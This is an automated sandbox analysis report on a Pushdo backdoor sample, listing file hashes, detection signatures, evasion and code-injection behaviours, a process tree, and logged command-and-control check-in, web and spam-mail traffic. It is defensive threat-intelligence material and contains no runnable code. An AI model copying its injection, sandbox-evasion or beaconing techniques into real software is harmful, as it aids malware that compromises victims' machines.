Edit tour

Windows Analysis Report
CX17SY6xF6.exe

Overview

General Information

Sample Name:	CX17SY6xF6.exe
Original Sample Name:	db47df7cf51747e533c968da7452f1ce6d20f465d7fcd6e2eac559266ac3e9ed.exe
Analysis ID:	1281452
MD5:	ca67c9c17a701b0664b90de372acdfb1
SHA1:	8d7e388b5d276816279ef37e7cab9cd554251737
SHA256:	db47df7cf51747e533c968da7452f1ce6d20f465d7fcd6e2eac559266ac3e9ed
Tags:	exe
Infos:

Detection

Pushdo

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected Backdoor Pushdo

Multi AV Scanner detection for submitted file

System process connects to network (likely due to code injection or exploit)

Antivirus detection for URL or domain

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Detected unpacking (creates a PE file in dynamic memory)

Snort IDS alert for network traffic

Writes to foreign memory regions

Found stalling execution ending in API Sleep call

Machine Learning detection for sample

Injects a PE file into a foreign processes

Send many emails (e-Mail Spam)

Contains functionality to inject code into remote processes

Machine Learning detection for dropped file

Drops PE files to the user root directory

Contains functionality to inject threads in other processes

Tries to resolve many domain names, but no domain seems valid

Contains functionality to compare user and computer (likely to detect sandboxes)

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Contains functionality to check if a debugger is running (IsDebuggerPresent)

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Found evasive API chain (date check)

Detected potential crypto function

Contains functionality to query CPU information (cpuid)

Sample execution stops while process was sleeping (likely an evasion)

Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)

Contains functionality to dynamically determine API calls

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Connects to many different domains

Contains long sleeps (>= 3 min)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Drops PE files

Contains functionality to read the PEB

Uses a known web browser user agent for HTTP communication

Found evasive API chain checking for process token information

Connects to several IPs in different countries

Uses SMTP (mail sending)

Found evasive API chain (may stop execution after accessing registry keys)

Drops PE files to the user directory

Creates or modifies windows services

Uses Microsoft's Enhanced Cryptographic Provider

Contains functionality to query network adapater information

Creates a process in suspended mode (likely to inject code)

Classification

Process Tree

System is w10x64

CX17SY6xF6.exe (PID: 6512 cmdline: C:\Users\user\Desktop\CX17SY6xF6.exe MD5: CA67C9C17A701B0664B90DE372ACDFB1)

svchost.exe (PID: 5172 cmdline: C:\Windows\system32\svchost.exe MD5: FA6C268A5B5BDA067A901764D203D433)

svchost.exe (PID: 3864 cmdline: C:\Windows\system32\svchost.exe MD5: FA6C268A5B5BDA067A901764D203D433)

svchost.exe (PID: 4112 cmdline: C:\Windows\system32\svchost.exe MD5: FA6C268A5B5BDA067A901764D203D433)

svchost.exe (PID: 4092 cmdline: C:\Windows\system32\svchost.exe MD5: FA6C268A5B5BDA067A901764D203D433)

svchost.exe (PID: 5768 cmdline: C:\Windows\system32\svchost.exe MD5: FA6C268A5B5BDA067A901764D203D433)

svchost.exe (PID: 21840 cmdline: C:\Windows\system32\svchost.exe MD5: FA6C268A5B5BDA067A901764D203D433)

pigalicapi.exe (PID: 2408 cmdline: "C:\Users\user\pigalicapi.exe" MD5: CA67C9C17A701B0664B90DE372ACDFB1)

svchost.exe (PID: 632 cmdline: C:\Windows\system32\svchost.exe MD5: FA6C268A5B5BDA067A901764D203D433)

svchost.exe (PID: 21288 cmdline: C:\Windows\system32\svchost.exe MD5: FA6C268A5B5BDA067A901764D203D433)

svchost.exe (PID: 22764 cmdline: C:\Windows\system32\svchost.exe MD5: FA6C268A5B5BDA067A901764D203D433)

svchost.exe (PID: 22800 cmdline: C:\Windows\system32\svchost.exe MD5: FA6C268A5B5BDA067A901764D203D433)

svchost.exe (PID: 22940 cmdline: C:\Windows\system32\svchost.exe MD5: FA6C268A5B5BDA067A901764D203D433)

pigalicapi.exe (PID: 6996 cmdline: "C:\Users\user\pigalicapi.exe" MD5: CA67C9C17A701B0664B90DE372ACDFB1)

svchost.exe (PID: 23432 cmdline: C:\Windows\system32\svchost.exe MD5: FA6C268A5B5BDA067A901764D203D433)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Pushdo	Pushdo is usually classified as a "downloader" trojan - meaning its true purpose is to download and install additional malicious software. There are dozens of downloader trojan families out there, but Pushdo is actually more sophisticated than most, but that sophistication lies in the Pushdo control server rather than the trojan.	No Attribution	http://malware-traffic-analysis.net/2017/04/03/index2.html http://www.secureworks.com/research/threat-profiles/gold-essex https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf https://www.blueliv.com/research/tracking-the-footproints-of-pushdo-trojan/ https://www.secureworks.com/research/pushdo	https://malpedia.caad.fkie.fraunhofer.de/details/win.pushdo

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000003.00000002.863723197.0000000001500000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Pushdo	Yara detected Backdoor Pushdo	Joe Security
00000004.00000002.860103508.0000000000EC0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Pushdo	Yara detected Backdoor Pushdo	Joe Security
00000000.00000002.860363475.0000000000D60000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Pushdo	Yara detected Backdoor Pushdo	Joe Security

Unpacked PEs

Source	Rule	Description	Author
4.2.pigalicapi.exe.ec0000.1.unpack	JoeSecurity_Pushdo	Yara detected Backdoor Pushdo	Joe Security
4.2.pigalicapi.exe.ec0000.1.raw.unpack	JoeSecurity_Pushdo	Yara detected Backdoor Pushdo	Joe Security
16.2.svchost.exe.4000000.6.unpack	JoeSecurity_Pushdo	Yara detected Backdoor Pushdo	Joe Security
3.2.pigalicapi.exe.1500000.1.raw.unpack	JoeSecurity_Pushdo	Yara detected Backdoor Pushdo	Joe Security
0.2.CX17SY6xF6.exe.d60000.1.unpack	JoeSecurity_Pushdo	Yara detected Backdoor Pushdo	Joe Security
6.2.svchost.exe.4000000.2.unpack	JoeSecurity_Pushdo	Yara detected Backdoor Pushdo	Joe Security
12.2.svchost.exe.4000000.6.unpack	JoeSecurity_Pushdo	Yara detected Backdoor Pushdo	Joe Security
3.2.pigalicapi.exe.1500000.1.unpack	JoeSecurity_Pushdo	Yara detected Backdoor Pushdo	Joe Security
0.2.CX17SY6xF6.exe.d60000.1.raw.unpack	JoeSecurity_Pushdo	Yara detected Backdoor Pushdo	Joe Security
5.2.svchost.exe.4000000.3.unpack	JoeSecurity_Pushdo	Yara detected Backdoor Pushdo	Joe Security
Click to see the 5 entries

Snort Signatures

ET TROJAN Backdoor.Win32.Pushdo.s Checkin - Source IP: 192.168.2.4 - Destination IP: 188.114.96.7

Timestamp:	192.168.2.4188.114.96.749694802016867 07/27/23-21:52:20.127901
SID:	2016867
Source Port:	49694
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

HTTP traffic detected: POST / HTTP/1.1Accept: */*Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 560User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.ftchat.comCache-Control: no-cacheData Raw: 7a 73 71 7a 45 37 30 78 67 38 70 70 77 62 64 5a 64 4d 64 65 70 76 62 6f 49 2f 72 72 49 2f 38 78 51 61 35 2f 36 4a 59 49 67 52 65 45 48 76 7a 45 74 68 72 71 32 4a 2f 6e 53 65 35 2f 55 54 4c 64 48 71 35 57 57 6a 4b 54 4d 32 4b 6d 32 42 39 65 4d 73 55 32 68 5a 62 64 46 72 48 33 35 57 65 34 2b 42 4d 35 71 6b 6c 53 35 4e 41 6a 51 59 42 47 31 61 6c 62 72 67 43 48 32 64 49 32 65 48 64 6a 43 6e 36 79 47 38 5a 34 78 56 61 48 77 52 61 41 64 6d 4b 2b 37 55 4c 4b 35 49 76 5a 32 54 70 77 74 33 4c 4f 35 6b 4e 35 38 46 48 30 65 35 52 68 6c 57 35 31 34 30 41 38 34 77 7a 6c 52 70 38 77 57 57 4f 71 47 75 30 52 5a 6e 36 71 4a 2b 49 68 52 65 38 76 77 39 36 32 52 50 41 6e 4c 39 58 74 31 43 77 55 35 4c 58 35 4d 76 78 78 38 4b 51 46 32 45 6a 6e 57 58 6e 65 6a 4d 58 48 4f 39 68 6f 57 48 58 64 68 61 58 4f 39 2f 46 61 2b 6f 52 46 53 4b 61 67 6f 6d 71 73 72 50 47 37 57 7a 6d 68 68 30 4e 6a 64 35 4c 62 64 75 43 57 65 55 49 36 32 45 4d 50 77 31 50 77 38 44 36 73 4d 38 6f 5a 4e 64 65 64 50 73 4d 36 41 5a 6b 79 4b 41 65 74 70 7a 39 6d 59 32 64 47 4d 44 56 72 2b 61 6a 66 34 51 57 71 75 43 58 50 78 50 31 2b 65 2b 47 75 4c 71 4c 51 6a 72 7a 32 44 57 38 4a 50 4d 53 51 70 30 71 65 46 55 4d 72 72 6f 4e 4a 56 2f 73 51 31 63 76 5a 4d 34 4b 44 78 2b 4d 63 39 35 5a 46 6e 4e 54 36 75 39 6b 77 71 45 6e 31 30 6b 62 71 65 54 2f 51 4a 34 46 4e 56 58 38 55 31 46 51 79 68 4e 70 6b 2f 41 70 6a 69 50 42 56 4a 2f 71 68 37 33 56 38 63 69 6f 69 53 66 63 61 50 59 6a 68 5a 64 30 68 4b 45 78 59 39 62 52 6e 5a 67 2b 50 65 56 30 35 44 79 45 76 57 33 73 31 79 52 41 79 49 76 4c 4e 77 6b 71 63 52 56 53 32 58 55 71 72 4a 34 39 7a 55 47 78 71 38 75 31 38 69 6e 67 4b 7a 33 65 64 65 72 4f 77 54 6c 56 59 46 47 73 3d Data Ascii: zsqzE70xg8ppwbdZdMdepvboI/rrI/8xQa5/6JYIgReEHvzEthrq2J/nSe5/UTLdHq5WWjKTM2Km2B9eMsU2hZbdFrH35We4+BM5qklS5NAjQYBG1albrgCH2dI2eHdjCn6yG8Z4xVaHwRaAdmK+7ULK5IvZ2Tpwt3LO5kN58FH0e5RhlW5140A84wzlRp8wWWOqGu0RZn6qJ+IhRe8vw962RPAnL9Xt1CwU5LX5Mvxx8KQF2EjnWXnejMXHO9hoWHXdhaXO9/Fa+oRFSKagomqsrPG7Wzmhh0Njd5LbduCWeUI62EMPw1Pw8D6sM8oZNdedPsM6AZkyKAetpz9mY2dGMDVr+ajf4QWquCXPxP1+e+GuLqLQjrz2DW8JPMSQp0qeFUMrroNJV/sQ1cvZM4KDx+Mc95ZFnNT6u9kwqEn10kbqeT/QJ4FNVX8U1FQyhNpk/ApjiPBVJ/qh73V8cioiSfcaPYjhZd0hKExY9bRnZg+PeV05DyEvW3s1yRAyIvLNwkqcRVS2XUqrJ49zUGxq8u18ingKz3ederOwTlVYFGs=

Source: unknown

DNS traffic detected: queries for: www.fnw.us

Source: C:\Users\user\pigalicapi.exe

Code function: 4_2_00EC1840 InternetCrackUrlA,InternetOpenA,InternetConnectA,HttpOpenRequestA,wnsprintfA,HttpAddRequestHeadersA,InternetSetOptionA,HttpSendRequestA,HttpQueryInfoA,HttpQueryInfoA,VirtualAlloc,InternetReadFile,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

4_2_00EC1840

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: flamingorecordings.com
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: hyab.se
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: diamir.de
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: ldh.la.gov
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: nts-web.net
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: orlyhotel.com
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: hyab.com
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: www.diamir.de
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: techtrans.de
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: clinicasanluis.com.co
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: techtrans.de
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: pleszew.policja.gov.pl
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: www.muhr-soehne.de
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: diamir.de
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: hyab.se
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: www.muhr-soehne.de
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: flamingorecordings.com
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: techtrans.de
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: techtrans.de
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: www.diamir.de
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: ldh.la.gov
Source: global traffic	HTTP traffic detected: GET /wp-signup.php?new=magicomm.co.uk HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: dataform.co.uk
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: hyab.com
Source: global traffic	HTTP traffic detected: GET /wp-signup.php?new=magicomm.co.uk HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: dataform.co.uk
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: pleszew.policja.gov.pl
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: clinicasanluis.com.co
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: nts-web.net
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: techtrans.de
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: www.muhr-soehne.de
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: orlyhotel.comCookie: django_language=en
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: flamingorecordings.com
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: clinicasanluis.com.co
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: techtrans.de
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: pleszew.policja.gov.pl
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: hyab.se
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: diamir.de
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: hyab.com
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: www.diamir.de
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: nts-web.net
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: ldh.la.gov
Source: global traffic	HTTP traffic detected: GET /wp-signup.php?new=magicomm.co.uk HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: dataform.co.uk

Source: unknown	HTTPS traffic detected: 35.214.171.193:443 -> 192.168.2.4:50118 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.7:443 -> 192.168.2.4:50138 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 94.130.146.206:443 -> 192.168.2.4:50157 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 75.2.95.235:443 -> 192.168.2.4:50141 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 49.212.235.175:443 -> 192.168.2.4:50130 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.207:443 -> 192.168.2.4:50167 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.193.133:443 -> 192.168.2.4:50200 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 94.130.146.206:443 -> 192.168.2.4:50204 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.220:443 -> 192.168.2.4:50214 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.237.66.112:443 -> 192.168.2.4:50212 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.237.66.112:443 -> 192.168.2.4:50213 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 91.229.22.126:443 -> 192.168.2.4:50215 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 5.189.171.125:443 -> 192.168.2.4:52616 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 83.223.113.46:443 -> 192.168.2.4:54016 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 5.189.171.125:443 -> 192.168.2.4:56895 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.7:443 -> 192.168.2.4:57238 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 94.130.146.206:443 -> 192.168.2.4:57325 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.214.171.193:443 -> 192.168.2.4:57433 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.237.66.112:443 -> 192.168.2.4:57464 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.237.66.112:443 -> 192.168.2.4:57472 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 94.130.146.206:443 -> 192.168.2.4:57723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 75.2.95.235:443 -> 192.168.2.4:57738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.193.133:443 -> 192.168.2.4:59014 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 83.223.113.46:443 -> 192.168.2.4:59205 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 91.229.22.126:443 -> 192.168.2.4:59402 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.220:443 -> 192.168.2.4:59546 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 49.212.235.175:443 -> 192.168.2.4:59641 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.237.66.112:443 -> 192.168.2.4:21182 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 5.189.171.125:443 -> 192.168.2.4:21191 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.207:443 -> 192.168.2.4:21205 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.214.171.193:443 -> 192.168.2.4:21213 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.220:443 -> 192.168.2.4:21227 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 91.229.22.126:443 -> 192.168.2.4:21253 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.7:443 -> 192.168.2.4:21258 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 94.130.146.206:443 -> 192.168.2.4:21263 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.193.133:443 -> 192.168.2.4:21267 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 94.130.146.206:443 -> 192.168.2.4:21273 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 49.212.235.175:443 -> 192.168.2.4:21287 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 75.2.95.235:443 -> 192.168.2.4:21297 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 83.223.113.46:443 -> 192.168.2.4:21331 version: TLS 1.2

Spam, unwanted Advertisements and Ransom Demands

Send many emails (e-Mail Spam)

Source: SMTP

Network traffic detected: Mail traffic on many different IPs 40

Source: C:\Users\user\pigalicapi.exe	Code function: 4_2_00EC8A70 CryptAcquireContextA,GetLastError,CryptAcquireContextA,CryptImportKey,CryptImportKey,CryptDecrypt,CryptDestroyKey,CryptDestroyKey,CryptReleaseContext,	4_2_00EC8A70
Source: C:\Users\user\pigalicapi.exe	Code function: 4_2_00EC8800 CryptAcquireContextA,GetLastError,CryptAcquireContextA,CryptGenKey,CryptExportKey,CryptImportKey,CryptExportKey,CryptDestroyKey,CryptDestroyKey,CryptReleaseContext,	4_2_00EC8800
Source: C:\Users\user\pigalicapi.exe	Code function: 4_2_00EC8970 CryptAcquireContextA,GetLastError,CryptAcquireContextA,CryptImportKey,CryptEncrypt,CryptDestroyKey,CryptReleaseContext,	4_2_00EC8970

Source: CX17SY6xF6.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\CX17SY6xF6.exe	Code function: 0_2_010D1F80	0_2_010D1F80
Source: C:\Users\user\Desktop\CX17SY6xF6.exe	Code function: 0_2_010D3E70	0_2_010D3E70
Source: C:\Users\user\Desktop\CX17SY6xF6.exe	Code function: 0_2_010E8570	0_2_010E8570
Source: C:\Users\user\Desktop\CX17SY6xF6.exe	Code function: 0_2_010E55C0	0_2_010E55C0
Source: C:\Users\user\Desktop\CX17SY6xF6.exe	Code function: 0_2_010D89DE	0_2_010D89DE
Source: C:\Users\user\Desktop\CX17SY6xF6.exe	Code function: 0_2_010DCDF6	0_2_010DCDF6
Source: C:\Users\user\Desktop\CX17SY6xF6.exe	Code function: 0_2_010D2800	0_2_010D2800
Source: C:\Users\user\Desktop\CX17SY6xF6.exe	Code function: 0_2_010D1000	0_2_010D1000
Source: C:\Users\user\Desktop\CX17SY6xF6.exe	Code function: 0_2_010E7440	0_2_010E7440
Source: C:\Users\user\Desktop\CX17SY6xF6.exe	Code function: 0_2_010D3450	0_2_010D3450
Source: C:\Users\user\Desktop\CX17SY6xF6.exe	Code function: 0_2_010E8850	0_2_010E8850
Source: C:\Users\user\Desktop\CX17SY6xF6.exe	Code function: 0_2_010D14C0	0_2_010D14C0
Source: C:\Users\user\Desktop\CX17SY6xF6.exe	Code function: 0_2_010E6710	0_2_010E6710
Source: C:\Users\user\Desktop\CX17SY6xF6.exe	Code function: 0_2_010D8340	0_2_010D8340
Source: C:\Users\user\Desktop\CX17SY6xF6.exe	Code function: 0_2_010D4250	0_2_010D4250
Source: C:\Users\user\Desktop\CX17SY6xF6.exe	Code function: 0_2_010E7E80	0_2_010E7E80
Source: C:\Users\user\Desktop\CX17SY6xF6.exe	Code function: 0_2_010D3690	0_2_010D3690
Source: C:\Users\user\pigalicapi.exe	Code function: 3_2_00EF3E70	3_2_00EF3E70
Source: C:\Users\user\pigalicapi.exe	Code function: 3_2_00EF1F80	3_2_00EF1F80
Source: C:\Users\user\pigalicapi.exe	Code function: 3_2_00EF14C0	3_2_00EF14C0
Source: C:\Users\user\pigalicapi.exe	Code function: 3_2_00F08850	3_2_00F08850
Source: C:\Users\user\pigalicapi.exe	Code function: 3_2_00F07440	3_2_00F07440
Source: C:\Users\user\pigalicapi.exe	Code function: 3_2_00EF3450	3_2_00EF3450
Source: C:\Users\user\pigalicapi.exe	Code function: 3_2_00EF2800	3_2_00EF2800
Source: C:\Users\user\pigalicapi.exe	Code function: 3_2_00EF1000	3_2_00EF1000
Source: C:\Users\user\pigalicapi.exe	Code function: 3_2_00EFCDF6	3_2_00EFCDF6
Source: C:\Users\user\pigalicapi.exe	Code function: 3_2_00F055C0	3_2_00F055C0
Source: C:\Users\user\pigalicapi.exe	Code function: 3_2_00EF89DE	3_2_00EF89DE
Source: C:\Users\user\pigalicapi.exe	Code function: 3_2_00F08570	3_2_00F08570
Source: C:\Users\user\pigalicapi.exe	Code function: 3_2_00F07E80	3_2_00F07E80
Source: C:\Users\user\pigalicapi.exe	Code function: 3_2_00EF3690	3_2_00EF3690
Source: C:\Users\user\pigalicapi.exe	Code function: 3_2_00EF4250	3_2_00EF4250
Source: C:\Users\user\pigalicapi.exe	Code function: 3_2_00EF8340	3_2_00EF8340
